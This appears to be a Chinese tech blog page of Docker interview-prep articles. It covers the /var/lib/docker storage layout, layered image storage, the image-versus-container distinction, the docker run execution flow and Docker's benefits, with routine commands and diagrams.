        CONT --> BUILD[buildkit/<br/>构建缓存]
    end

    OVERLAY --> LAYER1[abc123.../<br/>镜像层 1]
    OVERLAY --> LAYER2[def456.../<br/>镜像层 2]
    OVERLAY --> CONTAINER_LAYER[xyz789.../<br/>容器可写层]
    OVERLAY --> SHORT_LINKS[l/<br/>短链接目录]

各目录详解

1. overlay2/ — 镜像和容器层数据

这是最大的目录,存储了所有镜像层和容器层的实际文件内容。

# 查看 overlay2 目录结构
ls -la /var/lib/docker/overlay2/
# drwx--x---  4 root root  4096 ...  abcdef123456...  ← 镜像层的目录
# drwx--x---  4 root root  4096 ...  xyz789012345...  ← 容器层的目录
# drwx--x---  2 root root 65536 ...  l/                ← 短链接目录

# 查看某个镜像层的内部结构
ls -la /var/lib/docker/overlay2/abcdef123456.../
# drwxr-xr-x   root root  ...  diff/     ← 该层实际的文件变更
# -rw-r--r--   root root  ...  link      ← 短链接名称
# -rw-r--r--   root root  ...  lower     ← 下层的短链接列表

# diff/ 就是该层引入的所有文件
ls /var/lib/docker/overlay2/abcdef123456.../diff/
# etc/  usr/  ...

2. image/ — 镜像元数据

# 镜像元数据存储结构
tree /var/lib/docker/image/overlay2/ -L 2
# /var/lib/docker/image/overlay2/
# ├── distribution/    ← 镜像分发信息(远程仓库的摘要)
# ├── imagedb/         ← 镜像配置数据
# │   ├── content/     ← sha256 目录,以 digest 命名
# │   └── metadata/    ← 镜像标签信息
# ├── layerdb/         ← 层数据库
# │   ├── sha256/      ← 层的 ChainID
# │   └── tmp/         ← 临时文件
# └── repositories.json  ← 镜像仓库和标签映射
# 查看镜像配置(包含了镜像的所有层信息)
cat /var/lib/docker/image/overlay2/imagedb/content/sha256/abcdef1234...

# repositories.json — 镜像标签映射
cat /var/lib/docker/image/overlay2/repositories.json
# {
#   "nginx": {
#     "latest": "sha256:abc123...",
#     "1.25": "sha256:def456..."
#   }
# }

3. volumes/ — 数据卷

ls /var/lib/docker/volumes/
# myvolume/  ← 命名的数据卷
# 8a9b0c1d.../  ← 匿名数据卷

4. containers/ — 容器配置

ls /var/lib/docker/containers/
# abc123def456.../  ← 每个容器一个目录

ls /var/lib/docker/containers/abc123.../
# config.v2.json    ← 容器配置
# hostconfig.json   ← 主机配置
# resolv.conf       ← DNS 配置
# hostname          ← 容器主机名
# hosts             ← /etc/hosts
# *.log             ← 容器日志

通过命令查看层的位置

# 查看镜像的层信息
docker image inspect nginx:latest | jq '.[].RootFS'
# {
#   "Type": "layers",
#   "Layers": [
#     "sha256:a1b2c3...",   ← 每层的 Content Hash
#     "sha256:d4e5f6...",
#     ...
#   ]
# }

# 查看容器的存储驱动详情
docker inspect mycontainer | jq '.[].GraphDriver'
# {
#   "Name": "overlay2",
#   "Data": {
#     "LowerDir": "/var/lib/docker/overlay2/.../diff:/var/lib/docker/overlay2/.../diff:...",
#     "MergedDir": "/var/lib/docker/overlay2/.../merged",
#     "UpperDir": "/var/lib/docker/overlay2/.../diff",
#     "WorkDir": "/var/lib/docker/overlay2/.../work"
#   }
# }

磁盘使用情况

# 查看 Docker 磁盘使用情况
docker system df
# TYPE                TOTAL     ACTIVE    SIZE      RECLAIMABLE
# Images              3         1         1.5GB     1.2GB (80%)
# Containers          2         1         100MB     50MB (50%)
# Local Volumes       2         0         500MB     500MB (100%)
# Build Cache         8         0         2.1GB     2.1GB (100%)

# 查看各层大小
docker system df -v
# IMAGES SPACE USED:
# REPOSITORY          TAG       IMAGE ID     CREATED       SIZE
# nginx               latest    abc123...    2 weeks ago   187MB
# ubuntu              22.04     def456...    1 month ago   77MB

# 查看详细磁盘分布
du -sh /var/lib/docker/*/ | sort -rh
# 2.1G    /var/lib/docker/overlay2/
# 1.5G    /var/lib/docker/buildkit/
# 500M    /var/lib/docker/volumes/
# 200M    /var/lib/docker/image/
# 50M     /var/lib/docker/containers/

清理和空间管理

# 清理未使用的镜像、容器、数据卷
docker system prune -a --volumes

# 只清理构建缓存(通常占用很大空间)
docker builder prune -a

# 查看具体哪些层占用空间
ls -lh /var/lib/docker/overlay2/
# 通过 du 定位大文件
du -sh /var/lib/docker/overlay2/*/diff

面试追问

Q: /var/lib/docker 目录可以迁移到其他磁盘吗?

A:完全可以。生产环境中通常会将 Docker 的数据目录放到单独的磁盘或 SSD 上,主要有两种方式:

# 方式一:修改 daemon.json
{
    "data-root": "/data/docker"
}

# 方式二:使用软链接
systemctl stop docker
mv /var/lib/docker /data/docker
ln -s /data/docker /var/lib/docker
systemctl start docker

Q: 镜像层存储的位置和大小与容器层有什么区别?

A:镜像层存储在 overlay2 下的独立目录,每层只读共享;容器层额外多一个 UpperDir(可写层),并且容器层在容器删除后可以被清理回收。

总结

Docker 镜像和容器的数据存储是分层且结构化的
overlay2/:存储各层的实际文件变更
image/:存储镜像配置和层元数据
containers/:存储容器运行时配置

理解这些存储位置,可以帮助你更好地管理 Docker 磁盘空间,以及排查存储相关问题。


Docker 镜像为什么采用分层存储?

Docker 镜像为什么采用分层存储?

核心答案

Docker 镜像采用分层存储的核心原因只有三个字:效率。具体来说是:存储效率传输效率构建效率

分层存储示意图

graph TB
    subgraph 分层镜像结构
        L0[基础层<br/>Ubuntu / Alpine 20MB]
        L1[安装 Python 3.11<br/>100MB]
        L2[安装 pip 依赖<br/>50MB]
        L3[复制应用代码<br/>2MB]
        L4[配置 Nginx<br/>1KB]
    end

    L0 --> L1 --> L2 --> L3 --> L4

三大核心优势

优势一:存储效率 — 相同的层只存一次

假设你有 10 个 Python 应用,每个的 Dockerfile 都是基于 python:3.11-slim

# 应用 A
FROM python:3.11-slim
COPY app_a/ /app
CMD ["python", "app_a.py"]

# 应用 B
FROM python:3.11-slim
COPY app_b/ /app
CMD ["python", "app_b.py"]
graph LR
    subgraph 物理存储
        PY[python:3.11-slim<br/>120MB x 1 ]
        A[应用 A <br/>1KB]
        B[应用 B <br/>1KB]
    end

    subgraph 逻辑视图
        IMG_A[应用 A 镜像<br/>逻辑大小: 120MB + 1KB]
        IMG_B[应用 B 镜像<br/>逻辑大小: 120MB + 1KB]
    end

    PY -->|共享| IMG_A
    PY -->|共享| IMG_B
    A --> IMG_A
    B --> IMG_B

不使用分层:120MB x 2 = 240MB
使用分层:120MB(共享)+ 1KB + 1KB ≈ 120MB

如果有 100 个 Python 应用,差距就是 12GB vs 120MB,相差 100 倍!

优势二:传输效率 — 只下载变化的部分

# 第一次拉取
docker pull node:18
# Downloading 5 layers  142MB

# 版本升级到 node:18.1(只变了上层)
docker pull node:18.1
# Downloading 1 layer   ← 只下载变化的层!
# 已缓存 4 层

这对 CI/CD 场景至关重要:
– 每次代码提交只产生几十 KB 的新层
– 部署更新时只需要下载那几十 KB
– 而不是重新下载整个镜像

优势三:构建效率 — 缓存机制

# 利用分层缓存加速构建
FROM python:3.11-slim AS builder

# 这一层变更频率最低 → 放在前面
COPY requirements.txt .
RUN pip install -r requirements.txt

# 这一层变更最频繁 → 放在后面
COPY . .
graph LR
    subgraph 第二次构建
        BC[缓存命中]
        NC[未命中-需重建]

        L0[FROM python:3.11-slim] -->|缓存命中 | BC
        L0 --> L1[COPY requirements.txt]
        L1 -->|缓存命中 | BC
        L1 --> L2[RUN pip install]
        L2 -->|文件没变  缓存命中| BC
        L2 --> L3[COPY . . ]
        L3 -->|代码变了  重建| NC
        L3 --> L4[构建完成]
    end

典型的构建速度对比:

第一次构建: docker build .  120 秒(全部从头构建)
修改一行代码后: docker build .  2 秒(只有最后一层重建)

分层存储的物理实现

# Docker 镜像层存储在 /var/lib/docker/
# 实际的物理存储结构
/var/lib/docker/overlay2/
├── 7a8b9c0d1e2f.../    # 每层一个目录   ├── diff/            # 该层的文件变化   ├── link             # 链接文件   └── lower            # 下层引用
├── a1b2c3d4e5f6.../
│   ├── diff/
│   ├── link
│   └── lower
└── ...

分层存储的”坑”

虽然好处很多,但分层存储也有需要注意的地方:

# ❌ 不好的分层实践
FROM ubuntu
RUN apt-get update   # 这一层产生了几百 MB 的包缓存数据
RUN apt-get install -y python3 nginx  # 这一层又安装
# 分层会导致 apt 缓存文件也被持久化,无意义地增大镜像

# ✅ 好的分层实践(合并 RUN)
FROM ubuntu
RUN apt-get update && \
    apt-get install -y python3 nginx && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*
# 只产生一层,且清除了无用的缓存

# ❌ 注意:每层中删除的文件不会减少镜像总大小
# 删除操作是在新层中标记删除,但旧层文件中依然存在

面试追问

问:如果我不需要分层了,可以合并层吗?

答:可以。生产环境中经常使用 docker-squash 工具或多阶段构建的最后一阶段来合并层,以减少镜像层数。但在构建过程中维护分层是有利的。

问:分层的最大层数有限制吗?

答:OverlayFS 最多支持 128 层(实际建议控制在 50 层以内,否则性能会下降)。

总结

Docker 分层存储的智慧在于:用共享代替冗余。基础环境只存一份,所有依赖它的镜像共享。这样既节省了磁盘空间,又节省了网络带宽,还加速了构建过程。可谓一石三鸟。


Docker 镜像与容器的本质区别

Docker 镜像与容器的本质区别

一句话定义

  • 镜像(Image):一个只读的模板,包含了运行应用所需的文件系统、依赖库和环境配置
  • 容器(Container):镜像的运行实例,在镜像层之上增加了一个可写层,形成一个活的运行环境

关系图

graph TB
    subgraph 构建时
        DF[Dockerfile] -->|docker build| Image[镜像 Image]
    end

    subgraph 运行时
        Image -->|docker run| C1[容器 Container 1]
        Image -->|docker run| C2[容器 Container 2]
        Image -->|docker run| C3[容器 Container 3]
    end

    subgraph 差异
        C1 -->|可写层| RW1[容器层: 可读写
存放运行时修改
] Image -->|只读层| RO[镜像层: 只读
存放基础环境
] end

详细对比表

特性 镜像 (Image) 容器 (Container)
状态 静态文件 动态进程
读写性 只读 可读写(顶层可写层)
生命周期 长期存储 短暂、临时
层结构 多层只读层堆叠 镜像只读层 + 容器可写层
存储位置 本地镜像仓库 运行中在内存/磁盘
标识 image_id container_id
启动速度 构建较慢 秒级启动
依赖关系 容器依赖镜像存在 镜像不依赖容器

类比理解

graph LR
    subgraph 编程类比
        A[镜像 Image] -->|| B[ Class]
        C[容器 Container] -->|| D[实例 Instance]
    end

    subgraph 现实类比
        E[镜像 Image] -->|| F[ISO 光盘镜像]
        G[容器 Container] -->|| H[正在运行的程序]
    end

利用面向对象理解

类(Class)    →   镜像(Image)    →   定义行为和数据结构
实例(Object) →   容器(Container) →   运行态,有独立状态

一个镜像可以创建多个容器,就像 Person 类可以实例化出多个不同的人。

Docker 命令验证

# 查看本地镜像列表(静态文件)
docker images
# REPOSITORY   TAG       IMAGE ID       CREATED       SIZE
# nginx        latest    abc123456789   2 weeks ago   142MB
# ubuntu       latest    def987654321   3 weeks ago   78MB

# 查看运行中的容器(动态实例)
docker ps
# CONTAINER ID   IMAGE   COMMAND   STATUS   PORTS   NAMES
# xyz789        nginx    ...       Up 2h    80/tcp  mynginx

# 查看所有容器(包括已停止的)
docker ps -a

文件系统差异

# 查看镜像层
docker inspect nginx:latest | jq '.[].RootFS'

# 查看容器文件系统
docker inspect mynginx | jq '.[].GraphDriver'

# 输出示例:
# {
#   "Name": "overlay2",
#   "Data": {
#     "LowerDir": "/var/lib/docker/overlay2/xxx/diff:...",
#     "UpperDir": "/var/lib/docker/overlay2/yyy/diff",
#     "WorkDir": "/var/lib/docker/overlay2/yyy/work",
#     "MergedDir": "/var/lib/docker/overlay2/yyy/merged"
#   }
# }
  • LowerDir:镜像的只读层(用冒号分隔多个层)
  • UpperDir:容器的可写层
  • MergedDir:合并后的视图(容器看到的文件系统)

操作对比

# 镜像操作 — 不可变
docker build -t myapp .    # 构建镜像
docker tag myapp myapp:v2  # 标记版本
docker push myapp:v2       # 推送镜像

# 容器操作 — 可变状态
docker run -d myapp        # 创建并运行容器
docker stop mycontainer    # 停止容器
docker rm mycontainer      # 删除容器
docker exec -it mycontainer bash  # 进入容器修改

# 修改容器后再生成新镜像
docker commit mycontainer myapp:v3  # 将容器状态保存为新镜像

面试高频题

问:为什么说容器比镜像多了一层?

答:Docker 使用联合文件系统(UnionFS),镜像由多层只读文件系统堆叠而成。当容器运行时,Docker 在最顶层添加一个可读写层(容器层)。所有对容器文件系统的修改都写在此层,容器删除时该层也随之消失。

问:容器停止后,数据还在吗?

答:取决于数据存储位置:
– 写入容器可写层的数据 ❌ (容器删除后丢失)
– 写入挂载卷(Volume)的数据 ✅ (独立于容器生命周期)

总结

镜像和容器的关系,本质上是 “模板与实例” 的关系。镜像定义”能跑什么”(环境、依赖、配置),容器决定”跑得怎么样”(运行状态、实时数据)。理解这个区别,是深入 Docker 的第一道门槛。


docker run 的执行流程详解

docker run 的执行流程详解

一句话概括

执行 docker run 时,Docker 会依次进行镜像检查 → 镜像拉取 → 创建容器 → 分配文件系统 → 配置网络 → 启动进程 六个关键步骤。

完整流程图

graph TB
    A[输入: docker run -d -p 80:80 nginx] --> B{Docker Client}
    B -->|通过 REST API 发送请求| C[Docker Daemon]

    C --> D{本地是否已缓存镜像?}

    D -->|| E[直接使用本地镜像]
    D -->|| F[ Registry 拉取镜像]

    F --> G{Docker Hub / 私有仓库}
    G -->|认证| H[下载镜像层数据]
    H --> I[解压存储到本地]

    E --> J[创建容器可写层]

    J --> K[配置网络]
    K --> K1[创建 Network Namespace]
    K1 --> K2[分配 IP 地址]
    K2 --> K3[设置端口映射 -p 80:80]

    K3 --> L[挂载存储]
    L --> L1[挂载 OverlayFS]
    L1 --> L2[挂载数据卷 (如果有)]

    L2 --> M[设置 cgroups 资源限制]

    M --> N[创建进程并切换到容器环境]
    N --> N1[进入容器的 PID Namespace]
    N1 --> N2[运行 ENTRYPOINT / CMD]

    N2 --> O[容器运行]

    O --> P[输出容器 ID: abc123...]

分步详解

第一步:Docker Client 解析命令

docker run -d --name mynginx -p 8080:80 nginx:latest

Client 解析:
run → 运行容器
-d → 后台运行(detach)
--name mynginx → 容器命名
-p 8080:80 → 端口映射(宿主机8080 → 容器80)
nginx:latest → 镜像名称和标签

第二步:Daemon 检查镜像

# Daemon 在本地镜像仓库中搜索
# 检查位置: /var/lib/docker/image/overlay2/repositories.json
docker images  # 查看本地所有镜像

如果本地没有镜像,Daemon 会自动执行 docker pull 流程。

第三步:拉取镜像(如需要)

# 默认从 Docker Hub 拉取
docker pull nginx:latest

# 实际执行的分层下载过程
# Downloading  [======================>]  5/5 layers
# 每一层都是一个独立的 tar.gz 包

第四步:创建容器层

graph LR
    subgraph 容器文件系统
        L0[镜像层1: 基础 OS]
        L1[镜像层2: 修改 apt sources]
        L2[镜像层3: 安装 nginx]
        L3[镜像层4: 修改配置]
        L4[镜像层5: 设置 Entrypoint]
        RW[容器读写层<br/>可写层 / 容器层]
    end

    L0 --> L1 --> L2 --> L3 --> L4 --> RW
    RW -.->|容器停止后<br/>默认删除| T[丢弃]

第五步:网络配置

# Docker 内部创建 veth pair
# 一头在容器内(eth0),一头在宿主机(vethXXX)

# 默认使用 bridge 网络模式
docker network ls
# NETWORK ID   NAME      DRIVER
# xxxx         bridge    bridge
# xxxx         host      host
# xxxx         none      null

第六步:启动进程

# 容器内执行的进程由 Dockerfile 决定
FROM nginx:alpine
# ENTRYPOINT 或 CMD 指定的命令就是容器的 PID 1
# 当 PID 1 退出时,容器随之停止

常用 run 命令变体

# 交互式运行(进入容器 shell)
docker run -it ubuntu bash

# 后台运行 + 端口映射
docker run -d -p 80:80 nginx

# 挂载数据卷
docker run -v /host/data:/container/data nginx

# 指定资源限制
docker run --memory="512m" --cpus="2" nginx

# 使用不同的网络模式
docker run --network=host nginx

面试追问

问:如果 docker run 时指定了不存在的命令会怎样?

答:Daemon 会创建容器,尝试执行命令,命令失败后容器立即退出(状态码非 0)。docker ps -a 可以看到容器处于 Exited 状态。

问:docker run 和 docker start 有什么区别?

答:docker run = docker create + docker start,即创建并启动一个新容器;docker start 启动一个已存在的停止状态的容器。

总结

docker run 看似只是一个简单命令,背后却涉及了镜像管理、文件系统、网络配置、进程管理等 Docker 核心机制。理解它的执行流程,就掌握了 Docker 运行时的基本工作原理。


Docker 是什么?为什么需要 Docker?

Docker 是什么?为什么需要 Docker?

什么是 Docker?

Docker 是一个开源的容器化平台,它允许开发者将应用程序及其所有依赖项打包到一个轻量级、可移植的”容器”中,然后可以在任何安装了 Docker 的环境中运行。Docker 使用客户端-服务器架构,通过守护进程(dockerd)管理容器的生命周期。

graph LR
    A[开发者] --> B[编写代码]
    B --> C[Dockerfile]
    C --> D[构建镜像]
    D --> E[Docker镜像]
    E --> F[Docker容器 开发环境]
    E --> G[Docker容器 测试环境]
    E --> H[Docker容器 生产环境]

    style F fill:#e1f5fe
    style G fill:#e1f5fe
    style H fill:#e1f5fe

Docker 的核心价值

Docker 的核心思想是 “Build once, run anywhere”(构建一次,随处运行)。这句话不是空话,而是 Docker 解决的最根本问题。

问题 Docker 的解决方案
环境不一致 容器自带完整的运行环境
依赖冲突 每个容器独立隔离,互不干扰
部署复杂 一键启动,秒级上线
资源浪费 共享宿主机内核,轻量高效

为什么需要 Docker?

1. 解决”在我机器上能跑”的世纪难题

传统开发中,最常遇到的问题就是:开发环境一切正常,到了测试或生产环境就崩溃。原因可能是:
– 操作系统版本不同
– 缺少某个系统库
– 依赖包版本不一致
– 环境变量配置差异

Docker 通过将应用 + 依赖 + 配置全部打包进一个镜像,确保在任何环境中行为完全一致。

2. 高效的资源利用

graph TB
    subgraph 传统虚拟机
        V1[VM1: 应用A<br/>OS Guest + Bin/Libs<br/>4GB RAM]
        V2[VM2: 应用B<br/>OS Guest + Bin/Libs<br/>4GB RAM]
        Hypervisor[Hypervisor]
        Host[宿主机 OS]
    end

    subgraph Docker 容器
        C1[容器A: 应用A<br/>Bin/Libs<br/>200MB]
        C2[容器B: 应用B<br/>Bin/Libs<br/>200MB]
        DockerEngine[Docker Engine]
        HostOS[宿主机 OS]
    end

    Host --> Hypervisor --> V1 & V2
    HostOS --> DockerEngine --> C1 & C2

3. 快速部署和弹性伸缩

  • 启动时间:容器秒级启动,虚拟机分钟级
  • 扩展能力:配合 Kubernetes 可在数秒内从 1 个实例扩展到 100 个
  • 滚动更新:零停机更新应用版本

4. CI/CD 流程的基石

# 典型的 Docker CI/CD 流程
# 1. 构建镜像
docker build -t myapp:latest .

# 2. 运行测试
docker run myapp:latest npm test

# 3. 推送到仓库
docker push registry.example.com/myapp:latest

# 4. 部署到生产
docker pull registry.example.com/myapp:latest
docker run -d -p 80:80 myapp:latest

5. 微服务架构的理想载体

每个微服务可以独立构建镜像、独立部署、独立扩缩容,Docker 容器天然就是微服务的理想运行单元。

总结

Docker 不仅仅是”一个容器引擎”,它改变了软件的交付方式。在 Docker 出现之前,我们交付的是”代码”;Docker 出现之后,我们交付的是”完整的运行环境”。这就是为什么 Docker 已经成为 DevOps 和云原生时代的基础设施。

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容